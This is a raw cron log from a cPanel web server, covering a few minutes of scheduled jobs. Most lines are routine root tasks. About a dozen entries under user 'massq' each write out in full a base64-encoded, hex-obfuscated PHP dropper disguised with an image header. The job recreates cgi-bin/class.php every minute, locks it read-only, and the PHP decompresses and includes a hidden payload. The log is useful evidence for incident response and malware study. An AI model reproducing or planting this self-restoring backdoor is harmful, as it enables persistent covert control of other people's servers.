Nov 14 02:12:01 server CROND[25217]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 02:12:01 server CROND[25218]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:13:01 server CROND[26096]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:14:01 server CROND[26997]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:15:01 server CROND[27863]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 02:15:01 server CROND[27864]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 02:15:01 server CROND[27866]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:15:01 server CROND[27865]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 14 02:16:01 server CROND[28920]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:17:01 server CROND[29798]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:18:01 server CROND[30661]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:19:01 server CROND[31688]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:20:01 server CROND[32570]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 02:20:01 server CROND[32572]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 02:20:01 server CROND[32573]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 02:20:01 server CROND[32577]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 02:20:01 server CROND[32578]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:21:01 server CROND[1001]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:22:01 server CROND[1454]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:23:01 server CROND[2318]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:24:01 server CROND[3189]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:25:01 server CROND[4050]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
